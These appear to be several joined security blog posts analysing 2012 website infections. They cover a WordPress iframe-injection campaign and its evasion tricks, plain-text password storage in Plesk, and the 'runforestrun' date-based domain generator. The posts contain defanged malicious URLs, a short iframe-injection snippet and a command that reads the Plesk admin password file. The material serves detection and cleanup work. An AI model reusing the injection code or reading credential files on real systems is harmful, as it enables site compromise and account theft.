However, there is one more hurdle prepared for your by the attackers. If you try to download a new version of the malicious JavaScript directly from those net[0-4]{2}net.net sites, the chances are all you get will be this:

dmFyIGdhID0gJ3NjcmlwdCc7IHZhciB0eXBlID0gJ3RleHQvamF2YXNjcmlwdCc7IHZhciBhc3luYyA9IHRydWU7dmFyIGd2YXIgPSAnc3Jhcic7IHZhciBzcmFyID0gJ3RyYXgnOw==

which decodes to

var ga = 'script'; var type = 'text/javascript'; var async = true;var gvar = 'srar'; var srar = 'trax';

just a bunch of variable declarations that vaguely resemble Google Analytics code. The code makes no sense and is absolutely benign.

But if you check what the malicious code in wp-includes files do, you’ll notice that it uses the “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)” User Agent header. And if you use this User Agent too then, lo and behold, you get a real malicious code from the net[0-4]{2}net.net sites.

6. Malicious JS scripts

The malicious scripts look like this (in one line) and have a recognizable format:

They begin with assignment to the “wow” variable (in earlier versions it was “st” variable). This variable contains an encrypted domain name of the malicious URL. Then “Date” and a few long strings that consist almost solely of punctuation marks and special symbols (=-+[()]?!@}{`$*#&|><~^:). And end with “window.eval(f.decodeURIComponent(a)“.

The script checks if there is a “lonly” cookie. It it doesn’t exist, it sets that “lonly” cookie for one day, creates an invisible iframe and adds an “onmousemove” event handler for Firefox and Internet Explorer browsers. When user moves a mouse, the malicious iframe is being added to a web pages.

The iframe URLs change a few times a day and currently (as of July 10th, 2012) end with “/rem2.html“. In late May and early June they ended with “/top2.html”

Here are just a few of them:

• hxxp://gemeni .fr .ms/top2.html
• hxxp://goga-any .r .gd/top2.html
• hxxp://enema .net .tc/top2.html
• hxxp://gemeni .cn .ms/top2.html
• hxxp://leming .com .br .tc/top2.html
• hxxp://kredits .check-it-out .nl/top2.html
• hxxp://leaveme-send .r .gd/rem2.html
• hxxp://onthe .check-it-out .nl/rem2.html
• hxxp://meinkampf .slx .nl/rem2.html
• hxxp://skiptomy .stx .nl/rem2.html
• hxxp://this-increase .r .gd/rem2.html
• hxxp://this-quite .r .gd/rem2.html
• hxxp://this-increase .r .gd/rem2.html
• hxxp://this-than .r .gd/rem2.html
• hxxp://this-there .r .gd/rem2.html
• hxxp://reviewszerochan .stx .nl/rem2.html
• hxxp://downloadskirarin .slx .nl/rem2.html
• hxxp://todirected .uni .me/rem2.html
• hxxp://revolutionreboryshion .jp .pn/rem2.html
• hxxp://qashqainightshade .cn .pn/rem2.html
• hxxp://vodkamojito.com .br .tc/rem2.html
• hxxp://dulhanpics.com .au .pn/rem2.html
• hxxp://downloadtorrent .org .uk .tc/rem2.html

Check how they abuse services that provide free third and forth level domains along with DNS management (so that they could point the free domains to their own servers: 87.98.128.204, 94.23.120.147, 94.247.28.42 )

Detection prevention tricks

This attack uses quite a few tricks that aim to make its detection difficult, both for webmasters and security scanners.

• Using wp-head action to inject code into web pages. This trick makes is not obvious where to search for the malicious code, especially for webmasters that are not familiar with WordPress API.
• Hundreds of whitespace characters before the malicious script make it not visible when people look through the HTML code of web pages (horizontal scrolling is rarely used compared to vertical scrolling — even mouse wheels only provide vertical scrolling).
• Random position of the malicious script within the <head> section.
• Using polymorphic malicious code in random files under wp-includes. Every infected file has a unique version of the malicious code and every infected site has a different set of infected files.
• Server-wide IP tracking. Returning visitors (e.g. webmasters) won’t see the malicious code. And security scanners that checked at least one infected site on a server won’t see malware on the rest infected sites on the same server on that day. This trick seems to work well against Googles Safe Browsing scanners — I’ve seen them unblocking infected sites that still contained the malicious code when they checked them.
• Maintenance files outside of user accounts. They can’t be found if users only scan files under their home directory. At the same time this trick makes server-wide tracking and code reuse possible.
• “lonly” cookie. Another trick to tell first time visitors from those who have been already exposed to the malicious script.
• User Agent checks on the malware distributing net[0-4]{2}net.net sites. Even if you know correct URLs but use incorrect User Agent header, you will download a benign script instead of the real malicious scripts that the net[0-4]{2}net.net sites serve to infected websites.
• Using the onmousemove event handler to inject malicious iframe into a web page (DOM). This may prevent detection by some simple scanners that load web pages in a real web browser and analyze subsequent changes. If they don’t emulate mouse moves, the malicious iframe won’t be injected.
• Bot detection. One way or another most attacks currently try to hide malicious behavior from search engines and security scanners. This one uses a list of known IP ranges and User Agent strings that can identify search engine crawlers and AV scanners.

To webmasters

Although this attack is quite complex, there is an efficient trick that allows to find all new and infected files. Instead of searching for particular malware patterns, you should simply compare all your server files and directories to their canonical clean copies (for example, backup copies).

If your server files are under version control (e.g. Subversion) it will be as easy as issuing one command that reports latest modifications. (e.g. svn status) . And you can easily revert all unwanted modifications.

Obtaining canonical copies of files

And it’s not a big problem if your files are not under version control and you don’t have a backup copy. In this case all you need to do is get an official WordPress package directly from WordPress.org site and compare your WordPress installation with it. If you don’t use the latest version of WordPress for some reason (you should upgrade after the cleanup), you can get any previous version of WordPress here.

Of course, content of the wp-content directory on your server will not match wp-content directory in the official WP package an you need to compare it separately. Just get official versions of all your WordPress themes and plugins and compare your server copies with them.

Comparing directories

To compare directories and files within directories you can use the diff command (if you are on Linux or Mac)

diff -rw yourdirectory canonicaldirectory

or WinMerge (if you use Windows)

Cleanup

Now that you know malicious and infected files, you can quickly clean up your site. Delete files that shouldn’t be there and replace infected files with their canonical copies.

Once you clean up your site make sure to:

• Thoroughly check your computer for malware.
• Change all passwords: FTP, WordPress, etc.
• Update WordPress and all themes and plugins that you use.
• Check that TimThumb library in themes and plugins that use it is up-to-date.
• Remove all theme and plugins that you don’t use (disabling them in WordPress is not enough).

##
Any additional information and your comments are welcome!

Related posts:

• Malware Piggybacks on Automatic WordPress Updates
• /tmp/wp_inc or Not Your Typical WordPress Attack
• Weak Passwords and Tainted WordPress Widgets
• Thousands of Hacked Sites Seriously Poison Google Image Search Results
• Introduction to Website Parasites

What can be even worse is storing user passwords in plain text.

Brian Kreb was recently shocked when his hosting provider sent him his password in plain text. He wrote a post about it and made a conclusion that it is quite a common practice among hosting providers and that “naming and shaming may be the only way to change” it.

But why do hosting providers save passwords in plain text? Maybe because most of them don’t invent anything and just rely on web hosting automation programs?

Enter Parallels Plesk Panel.

They advertise themselves as “the most widely used hosting control panel solution. With more than 250,000 Windows and Linux servers deployed, Parallels Plesk Panel is the preferred choice for hosting service providers, web designers, and website owners.” They also advertize top-notch security that “protects personal data and websites“.

Plain text passwords

But what about the Plesk security in real world? Can we call it “top-notch” if I tell you that Plesk stores passwords in plain text?!

Update: Since version 11 Plesk doesn’t store passwords in plain text. Unfortunately, there are still many servers that use older versions of Plesk. You can still find many servers with Plesk 8.x.

Here are the proofs:

“The problem is, that every password is stored as plain text!!! I mean every password including the plesk, mail and ftp/ssh!”
http://forum.parallels.com/showthread.php?t=257908

“…And unfortunately all Passwords in Plesk are stored in plain text!! Take a look in database ‘psa’ at table ‘accounts’ (and better sit down before doing that!).”
http://blog.unmaskparasites.com/2012/06/22/runforestrun-and-pseudo-random-domains/#update2

And in older versions (many servers still use them) they didn’t encrypt Plesk admin passwords either

less /etc/psa/.psa.shadow
The password will be displayed in plain text.
http://www.hosting.com/support/plesk/recover-my-plesk-password

What’s the problem?

But maybe is not such a big issue? After all, with proper permissions, only server admins have access to the passwords and server admins should have full access to every part of servers anyway.

That’s not so simple:

1. Admins don’t need passwords to access sites of their clients. And they should not see their passwords. It’s a privacy thing. Some clients may use the same username/password combinations on other sites (Facebook, Gmail, PayPal, their banks, etc. – I know, it’s stupid to use the same passwords everywhere but still is a common practice) and server admins can easily abuse this information (especially given the amount of information they already know about their clients anyway: real names, addresses, phone numbers, etc.)
2. Server admins can be target of spear-phishing and malware attacks that steal passwords. Once attackers obtain Plesk admin credentials they can easily get passwords of all server accounts.
3. And don’t forget about bugs and security holes that can expose stored passwords or provide admin access to people without proper authorization.

Attacks in the wild

In case of Plesk, there are really such vulnerabilities http://kb.parallels.com/en/113321 and there are attacks in the wild that exploit those vulnerabilities.

February-March 2012: attackers gained admin access to Plesk servers and planted some backdoors. The user database seems be stolen too.

• Plesk control panel bug left FTC sites (and thousands more) exposed to Anons
• Plesk backdoors, a very large number of servers compromised.
• New vulnerability of Plesk??

June 2012: hackers use stolen Plesk credentials to inject malicious code into legitimate websites.

• Runforestrun and Pseudo Random Domains

Remember, Parallels bragged about 250,000 servers with installed Plesk Panel. That’s many millions of individual websites and millions of user accounts. Sounds like a good target for attacks.

Back to the Brian’s post I mentioned in the beginning — instead of naming and shaming individual hosting companies, we can name and shame software that they use. But if you are concerned about individual hosting providers, you can simply check if they use Plesk.

I have a few questions to my blog readers:

• Do you think it’s OK that your hosting provider or your service provider stores your passwords in plain text?
• How many of you have sites on servers with Plesk Panel? Did you know that your passwords are stored in plain text?
• What can you say about other web hosting automation programs, e.g. CPanel? Do they store hashes or real passwords?
• Is the latest version (11) of Plesk Panel still stores passwords in plain text? (They advertise “improved security” but who knows what this really means.) – Update: Brian (Parallels) says that Plesk 11 no loger stores passwords in plain text. Great!

Related posts:

• Runforestrun and Pseudo Random Domains
• RunForestRun Now Encrypts Legitimate JS Files
• 10 FTP Clients Malware Steals Credentials From
• Introduction to Website Parasites

Update: at the bottom of this post you’ll find information about how a security hole in Plesk Panel was used to infect websites. Comments are also worth reading.

Update (July 26, 2012): The attack has changed both the injected script and the domain generating algorithm. See details in my follow up article. Information about the Plesk security issues are still can be found in the current post and comments.

The script (surrounded by the /*km0ae9gr6m*/…/*qhk6sa6g1c*/ pair of comments ) looks like this:

Full source code can be found here

On Google diagnostic pages of infected sites you will currently see something like this

Malicious software is hosted on 2 domain(s), including ctonxidjqijsnzny .ru/, znycugibimtvplve .ru/.

I say “currently”, because the most interesting thing about this script is the built-in domain name generator.

If you decode the script (see the code), you will see functions with names like nextRandomNumber, RandomNumberGenerator, createRandomNumber and generatePseudoRandomString and the iframe URL generation based on the current date and time:

var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=cx");

It’s not a new tactic to use pseudo random domain name generators for drive by download attacks. I have already described algorithms based on quite unpredictable factors such as Twitter trending topics. Attackers had only a few hours to a couple of days to register and properly configure new domains before malicious script would begin sending traffic to them.

Unlike that Twitter-based algorithm, this new attack has a really dumb pseudo random string generator. It’s based on such a predictable factor as a current data and time (before noon or after noon). It generates new domain names every 12 hours.

Predicted malicious URLs and sink holes

No wonder, it only took a couple of minutes to write a simple script that predicts URLs of the malicious iframes that this attack will use by the end of summer of 2012. Then a quick check showed that 89 of the domain names (up to August 7th, 2012) are already registered and point to 95.211.27.206. When I try to open the predicted malicious URLs I see the “domain suspended due to abuse reports” message. It looks like someone has already taken care of this attack and sink-holed its domain names.

Or is it a just trick that attackers use to make me think that there is nothing to worry about? It looks quite suspicious that 95.211.27.206 is on Leaseweb (cybercriminals like to use this hosting provider), and nameservers have Russian names “evilstalin.compress.to” and “smolny.compress.to“. At the same time all domains are registered by a “Private Person” using a Russian registrar NAUNET that is known for being loyal to spammers and other cybercryminals. The WHOIS information and IP addresses for domains registered before the beginning of the attack (on June 8th) are the same as for domain names that had been registered just yesterday — this means that they all have been registered by the attackers.

And if you read comments to the following reddit thread, you will see that some people get the “domain suspended due to abuse” message while others get redirected to “hxxp://db8237d82bdu .ipq .co/feed/xml.php?uid=12” and “hxxp://masvip .ru/6662/take.html“, which suggests that there is some server-side logic that filters traffic (probably by IP, Referrer , etc.)

Update (June 28, 2012): Today I saw myself how the “hxxp://gytcnulxsxpsqkfn .ru/runforestrun?sid=cx” URL returned 302 redirect to “hxxp://insurancecentre .ru/in.cgi?7“,  which in turn redirected to “hxxp://freshtds .eu/default.cgi“.

And what do you think? Are these domains sink-holed or they only pretend to be sink-holed?

By the way, here’s my list of the predicted malicious URLs.

Update (July 6, 2012): At this point I see that predicted domain names are already registered through September 7th, 2012, so I genarated a new list (up to October 9th) and put it here: http://pastebin.com/iZWFrDPC

Update (July 26, 2012): The attack has changed both the injected script and the domain generating algorithm. See details in my follow up article.

hxxp://xmexlajhysktwdqe .ru/runforestrun?sid=cx
hxxp://atsihkcljrqlzvku .ru/runforestrun?sid=cx
hxxp://kahmnunornwrgpgb .ru/runforestrun?sid=cx
hxxp://mfwqdxgdpwiojrjp .ru/runforestrun?sid=cx
hxxp://wmiudbgrcvapriql .ru/runforestrun?sid=cx
hxxp://yrxysfyekjfooere .ru/runforestrun?sid=cx
hxxp://jzkitejvrxgkgpgi .ru/runforestrun?sid=cx
hxxp://lfbovcaitdrjmkbe .ru/runforestrun?sid=cx
hxxp://ulnrpbudycxzdlkt .ru/runforestrun?sid=cx
hxxp://xqcwfwfphwoieuny .ru/runforestrun?sid=cx
hxxp://hyoflopkupjioiqq .ru/runforestrun?sid=cx
hxxp://keglxucgvwhqttmi .ru/runforestrun?sid=cx
hxxp://tlrnhskrgijhwtlj .ru/runforestrun?sid=cx
hxxp://vqhtwlshzzqsltcp .ru/runforestrun?sid=cx
hxxp://gytcnulxsxpsqkfn .ru/runforestrun?sid=cx
hxxp://iekiyvsbtyozmmwy .ru/runforestrun?sid=cx
hxxp://dernflilrdxmfnye .ru/runforestrun?sid=cx
hxxp://fjgtmicxtlxynlpf .ru/runforestrun?sid=cx
hxxp://ppsvcvrcgkllplyn .ru/runforestrun?sid=cx
hxxp://ruhctasjmpqbyvhm .ru/runforestrun?sid=cx
hxxp://bdvkpbuldslsapeb .ru/runforestrun?sid=cx
hxxp://eilqnjkoytyjuchn .ru/runforestrun?sid=cx
hxxp://npxsiiwpxqqiihmo .ru/runforestrun?sid=cx
hxxp://qtmyeslmsoxkjbku .ru/runforestrun?sid=cx
hxxp://adbjjkquyyhyqknf .ru/runforestrun?sid=cx
hxxp://ciqmhuwgvfsxdtrw .ru/runforestrun?sid=cx
hxxp://mocrafrewsdjztbj .ru/runforestrun?sid=cx
hxxp://otruvbidvikzhlop .ru/runforestrun?sid=cx
hxxp://yafzvancybuwmnno .ru/runforestrun?sid=cx
hxxp://bhujzorkulhkpwob .ru/runforestrun?sid=cx
hxxp://lohnrnnpvvtxedfl .ru/runforestrun?sid=cx
hxxp://ntvrnrdpyoadopbo .ru/runforestrun?sid=cx
hxxp://wakvnkyzkyietkdr .ru/runforestrun?sid=cx
hxxp://zfyafrjmmajqfvbh .ru/runforestrun?sid=cx
hxxp://jnlkttkruqsdjqlx .ru/runforestrun?sid=cx
hxxp://lsbppxhgckolsnap .ru/runforestrun?sid=cx
hxxp://vznrahwzgntmfcqk .ru/runforestrun?sid=cx
hxxp://xeeypppxswpquvrf .ru/runforestrun?sid=cx
hxxp://inqgvoeohpcsfxmn .ru/runforestrun?sid=cx
hxxp://ksgmckchdppqeicu .ru/runforestrun?sid=cx
hxxp://uyrorwlibbjeasoq .ru/runforestrun?sid=cx
hxxp://wejungvnykczyjam .ru/runforestrun?sid=cx
hxxp://gmvdnpqbblixlgxj .ru/runforestrun?sid=cx
hxxp://jrkjelzwleadyxsd .ru/runforestrun?sid=cx
hxxp://sywleisrsstsqoic .ru/runforestrun?sid=cx
hxxp://venrfhmthwpqlqge .ru/runforestrun?sid=cx
hxxp://fmacqvmqafqwmebl .ru/runforestrun?sid=cx
hxxp://hrpgglxvqwjesffr .ru/runforestrun?sid=cx
hxxp://rxbkqfydlnzopqrn .ru/runforestrun?sid=cx
hxxp://tdsorylshsxjeawf .ru/runforestrun?sid=cx
hxxp://elfxqghdubihhsgd .ru/runforestrun?sid=cx
hxxp://gqtcxunxhyujqjkf .ru/runforestrun?sid=cx
hxxp://qxggipnnfmnihkic .ru/runforestrun?sid=cx
hxxp://sdxkjaophbtufumx .ru/runforestrun?sid=cx
hxxp://clkujrjqvexvbmoi .ru/runforestrun?sid=cx
hxxp://fqyyxagzkrpvxtki .ru/runforestrun?sid=cx
hxxp://owldagkyzrkhqnjo .ru/runforestrun?sid=cx
hxxp://rccjvgsgffokiwze .ru/runforestrun?sid=cx
hxxp://blorcdyiipxcwyxv .ru/runforestrun?sid=cx
hxxp://dpewaddpoewiycnj .ru/runforestrun?sid=cx
hxxp://nwpykqeizraqthry .ru/runforestrun?sid=cx
hxxp://pchgijctfprxhnje .ru/runforestrun?sid=cx
hxxp://zisiiogqigzzqqeq .ru/runforestrun?sid=cx
hxxp://cpittmwbqtjrjpql .ru/runforestrun?sid=cx
hxxp://mvuvchtcxxibeubd .ru/runforestrun?sid=cx
hxxp://oblcasnhxbbocpfj .ru/runforestrun?sid=cx
hxxp://xixftoplsduqqorx .ru/runforestrun?sid=cx
hxxp://bpnqmxkpxxgbdnby .ru/runforestrun?sid=cx
hxxp://kvzstpqmeoxtcwko .ru/runforestrun?sid=cx
hxxp://nbqypqrjiqxlfvdj .ru/runforestrun?sid=cx
hxxp://whddmvrxufbkkoew .ru/runforestrun?sid=cx
hxxp://ymrhcvphevonympo .ru/runforestrun?sid=cx
hxxp://jveqgnmjxkocqifr .ru/runforestrun?sid=cx
hxxp://lavvckpordclbduy .ru/runforestrun?sid=cx
hxxp://vhhzcvbegxbjsxke .ru/runforestrun?sid=cx
hxxp://xmwettbvtbhvrjuo .ru/runforestrun?sid=cx
hxxp://gacdiuwnhonuulpe .ru/runforestrun?sid=cx 95.211.27.206
hxxp://ifrhgnqeeotnzrmz .ru/runforestrun?sid=cx
hxxp://rmdlgyreitjsjkfq .ru/runforestrun?sid=cx
hxxp://uqspvdwyltgcyhft .ru/runforestrun?sid=cx
hxxp://ezfydrexncoidbus .ru/runforestrun?sid=cx
hxxp://hfveiooumeyrpchg .ru/runforestrun?sid=cx
hxxp://qlihxnncwioxkdls .ru/runforestrun?sid=cx 95.211.27.206
hxxp://sqwlonyduvpowdgy .ru/runforestrun?sid=cx
hxxp://dyjvewshptsboygd .ru/runforestrun?sid=cx
hxxp://febcbuyswmishvpl .ru/runforestrun?sid=cx
hxxp://plmekaayiholtevt .ru/runforestrun?sid=cx
hxxp://rpckbgrziwbdrmhr .ru/runforestrun?sid=cx
hxxp://cyosongjihugkjbg .ru/runforestrun?sid=cx Aug 7.
hxxp://eefysywrvkgxuqdf .ru/runforestrun?sid=cx
hxxp://nkrbvqxzfwicmhwb .ru/runforestrun?sid=cx
hxxp://qphhsudsmeftdaht .ru/runforestrun?sid=cx
hxxp://axtopsbtntqnfdyk .ru/runforestrun?sid=cx
hxxp://ddkudnuklgiwtdyw .ru/runforestrun?sid=cx
hxxp://mkwwclogcvgeekws .ru/runforestrun?sid=cx
hxxp://opldkflyvlkywuec .ru/runforestrun?sid=cx
hxxp://yvxfekhokspfuwqr .ru/runforestrun?sid=cx
hxxp://bdprvpxdejpohqpt .ru/runforestrun?sid=cx
hxxp://ljbvfrsvcevyfhor .ru/runforestrun?sid=cx
hxxp://noqzuukouyfuyrmd .ru/runforestrun?sid=cx
hxxp://xvcewyydwsmdgaju .ru/runforestrun?sid=cx
hxxp://zatiscwwtipqlycd .ru/runforestrun?sid=cx
hxxp://jjgshrjdcynohyuk .ru/runforestrun?sid=cx
hxxp://mouwwvcwwlilnxub .ru/runforestrun?sid=cx
hxxp://vuhaojpwxgsxuitu .ru/runforestrun?sid=cx
hxxp://yayfefhrwawquwcw .ru/runforestrun?sid=cx
hxxp://iiloishkjwvqldlq .ru/runforestrun?sid=cx
hxxp://knauycqgsdhgbwjo .ru/runforestrun?sid=cx
hxxp://uumwyzhctrwdsrdp .ru/runforestrun?sid=cx
hxxp://wzbdwenwshfzglwt .ru/runforestrun?sid=cx
hxxp://hiplksflttfkpsxn .ru/runforestrun?sid=cx
hxxp://jnfrqmekhoevppvw .ru/runforestrun?sid=cx
hxxp://ttqtkmthptxvwiku .ru/runforestrun?sid=cx
hxxp://vygzhvfiuommkqfj .ru/runforestrun?sid=cx
hxxp://fhuidtlqttqxgjvn .ru/runforestrun?sid=cx
hxxp://imjosxuhbcdonrco .ru/runforestrun?sid=cx
hxxp://rtvqcdpbqxgwnrcn .ru/runforestrun?sid=cx
hxxp://tykvyflnjhbnqpnr .ru/runforestrun?sid=cx
hxxp://ehyewyqydfpidbdp .ru/runforestrun?sid=cx
hxxp://gmokuosvnbkshdtd .ru/runforestrun?sid=cx
hxxp://qsbourrdxgxgwepy .ru/runforestrun?sid=cx
hxxp://sxpskxdgoczvcjgp .ru/runforestrun?sid=cx
hxxp://dhedppigtpbwrmpc .ru/runforestrun?sid=cx
hxxp://flthmyjeuhdygshf .ru/runforestrun?sid=cx
hxxp://osflhkaowydftniw .ru/runforestrun?sid=cx
hxxp://rxupwhkznihnxzqx .ru/runforestrun?sid=cx
hxxp://bgjzhlasdrwwnenj .ru/runforestrun?sid=cx
hxxp://elxegvkalqvkyoxc .ru/runforestrun?sid=cx
hxxp://nrkhysgoltauclop .ru/runforestrun?sid=cx
hxxp://pwyloytoagndnrex .ru/runforestrun?sid=cx
hxxp://zenquqdskekaudbe .ru/runforestrun?sid=cx
hxxp://cldcrgtnuwvgnbfd .ru/runforestrun?sid=cx
hxxp://mroeqjdaukskbgua .ru/runforestrun?sid=cx
hxxp://owekhoeuhmdiehrw .ru/runforestrun?sid=cx
hxxp://ydrngsmrdiiyvoiy .ru/runforestrun?sid=cx
hxxp://bkhyiqitpoxewhmt .ru/runforestrun?sid=cx

What’s the security hole?

Another important questions is how all those legitimate sites had been compromised in the first place.

At this point I haven’t had a chance to work directly with infected sites and check what’s going on inside. So I have to resort to analysis of factors that I can see from outside. I checked about a dozen of infected sites and they all use different web technologies from ASP.NET to pure HTML. They are all on different web servers: IIS, Litespeed, Apache. The only common link I can see is Plesk. When I check other sites on the same IP addresses I usually find a few more infected site (not all though). So could this be some security hole in Plesk that made this attack possible. What do you think?

Update (June 23, 2012): Thanks to everyone who left comments. The problem seems to be really in Plesk. Axel found traces of the attack in Plesk access logs. The attacker logged in and used file manager’s editor to modify .js files. Axel blames the Plesk vulnerability (versions before 10.4 are affected) found earlier this year and suggests that server admins fix it: http://kb.parallels.com/en/113321 and reset passwords for all plesk accounts:

So if you are affected, then immediately change passwords of ALL Plesk accounts. This means: Plesk-admin-user, all reseller-accounts, all domain-administrators, FTP users of subdomains and web users of domains. And of course, if not previously done, update your Plesk installation!!

Here’s one more usefull link for server admins: How to make sure your Plesk Panel 8.x, 9.x, 10.0, 10.1, 10.2, or 10.3 is not vulnerable

To webmasters: If your site is affected by this hack, contact your hosting provider ASAP and show them this post. Change your account passwords. And if your host resets your passwords there is a good reason for that. Don’t change your passwords back to your old ones!

Update 2 (June 25, 2012): To find out more about this problem, I asked Axel a few questions and he agreed to explain what’s going on:

It is important to distinguish between the attack and the security hole. The attack was not carried out directly by a security hole, but by means of a valid username/password combination.

The attacker used the built-in Plesk File Manager to replace files, so there are no entries in other log files (such as FTP-log -> Shafiq’s comment). And there were a number of files changed with the same javascript code at a time. As you can see in the log-excerpt, there were 3 replacements: javascript_a1cb3a5978.js / jquery.min.js / easySlider1.7.js

This file selection has been very well analyzed (no TYPO3 standard files), so it is also clear that it was not an automated attack, but was executed by a human. By the way: the origin of my attack was another compromised server from Germany.

However, the real problem was/is the Plesk vulnerability (http://kb.parallels.com/en/113321). Many admins do not realize that their passwords have been spied out weeks or months ago. To make it more clear: Due to the Plesk vulnerability database tables could be read. And unfortunately all Passwords in Plesk are stored in plain text!! Take a look in database ‘psa‘ at table ‘accounts‘ (and better sit down before doing that!). That’s why it is so important to change ALL passwords.

Just fixing this vulnerability AFTER the server has been compromised, without changing ALL passwords, leave valid username/password combinations! So the attacker can come back after weeks or months and attack even in the meantime updated Plesk systems!!!

How can one find out whether the server has been compromised (weeks ago)? This is actually very difficult. For me it works to look at the Plesk Action Log: There were times were I detect many VALID account logins from different IPs in a very short time. This can’t be real and seems to be a kind of automated control of the captured login data. A very clear sign of the attack :-(

Plesk Action Log excerpt:

46.10.200.000 site1 [2012-02-16 17:11:47] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
187.20.211.000 site2 [2012-02-16 17:11:47] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
118.71.113.000 site3 [2012-02-16 17:11:48] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
94.189.172.000 site4 [2012-02-16 17:11:49] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
86.194.202.000 site5 [2012-02-16 17:11:54] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
190.145.1.000 site6 [2012-02-16 17:11:55] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
94.156.241.00 site7 [2012-02-16 17:11:56] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
83.29.250.00 site8 [2012-02-16 17:11:58] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
...
99.238.82.000 site5 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
93.194.210.00 site4 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
213.37.176.000 site3 [2012-02-19 00:04:05] 'CP User Login' ('Contact Name': ''=> 'xxxxxxxxx')
175.108.102.000 site1 [2012-02-19 00:04:06] 'CP User Login' ('Contact Name': '' => 'xxxxxxxxx')
180.220.149.000 site7 [2012-02-19 00:04:09] 'CP User Login' ('Contact Name': '' => 'xxxxxxxxx')
196.221.180.000 site8 [2012-02-19 00:04:09] 'CP User Login' ('Contact Name': '' => 'xxxxxxxxx')
99.238.82.000 site5 [2012-02-19 00:04:13] 'CP User Logout' ('Contact Name': 'xxxxxxxxx' => '')

I hope this helps

Axel

…

Update (July 8, 2012): Here’s an interesting thread on the Parallels forum where server admins say that they applied security patches and reset passwords but their servers were re-infected shortly after that. Anyone has a proven solution to permanently fix this issue without breaking the File Manager (as suggested in the following comment)?

A few more questions to admins of affected server. Especially if your servers got reinfected after changing passwords and applying security patches.

1. Did you consider use of backdoors? Did you search for backdoors?
2. Did you consider scenario where hackers created some rogue users on your server? Maybe even an extra admin user? Did you try to search  for users with suspicious activity or with excessive permissions?

By the way, the rumor has it that on hacker forums, someone offers an exploit (quite expensive) for Plesk <=10.4 that allows to obtain admin password and remotely execute code on server (looks like it’s for Windows servers only).

Update (July 15, 2012): Parallels has just released the “Big” Security Update for Plesk v8-10 (all OS) and Plesk 11 (Windows only). They don’t disclose details but mention that the security issue is “critical” and they found it during internal testing. Not sure whether it can fix this current issue but it is definitely something administrators of servers with Plesk Panel should do. (And then comment whether it helped or not)

##
Your thoughts and comments are highly appreciated.

Related posts:

• RunForestRun Now Encrypts Legitimate JS Files
• Millions of Website Passwords Stored in Plain Text in Plesk Panel
• Lorem Ipsum and Twitter Trends in Malware
• Hackers Use Twitter API To Trigger Malicious Scripts
• Introduction to Website Parasites